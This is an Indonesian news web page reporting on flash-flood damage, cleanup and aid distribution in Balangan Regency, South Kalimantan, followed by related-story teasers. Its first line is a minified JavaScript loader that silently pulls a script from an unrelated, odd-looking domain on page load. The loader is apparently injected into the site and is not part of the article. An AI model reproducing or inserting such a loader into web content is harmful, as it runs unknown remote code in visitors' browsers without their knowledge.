(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah desa dan warga terdampak kembali meningkat.
Berdasarkan laporan Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan, banjir kini berdampak pada 30 desa di lima kecamatan, dengan jumlah korban terdampak lebih tinggi dibandingkan laporan sebelumnya.
Kepala Pelaksana (Kalak) BPBD Balangan, Rahmi, menyebutkan sebanyak 4.156 rumah terdampak banjir, dengan 4.185 kepala keluarga dan total 13.531 jiwa terdampak.
Baca juga: UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?
“Data tersebut mencakup lima kecamatan yang terdampak banjir,” ujar Rahmi, Rabu (31/12/2025).
Untuk penanganan pascabanjir bandang di Kecamatan Tebing Tinggi, proses pembersihan rumah warga dan fasilitas umum telah mencapai hampir 80 persen dan dilakukan oleh petugas gabungan.
Kalak BPBD Balangan, Rahmi menyampaikan update terbaru penanganan pasca banjir dan banjir bandang di Balangan. Foto: mcbalangan
“Sekitar 20 persen pembersihan masih berlangsung dan ditargetkan selesai secepatnya agar warga dapat kembali beraktivitas,” katanya.
Baca juga: Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!
Selain pembersihan, BPBD Balangan terus mengoptimalkan penyaluran bantuan logistik dari berbagai pihak, termasuk pemerintah, TNI-Polri, Tim Reaksi Cepat (TRC), relawan, organisasi, dan perusahaan.
“Penyaluran bantuan dilakukan langsung ke rumah warga agar tepat sasaran dan dapat meringankan beban masyarakat terdampak,” ujar Rahmi.
BPBD Balangan bersama tim gabungan terus melakukan pemantauan wilayah rawan banjir serta memperbarui data dampak bencana sebagai dasar penanganan lanjutan dan pemulihan pascabencana. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: bie
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
This website uses cookies.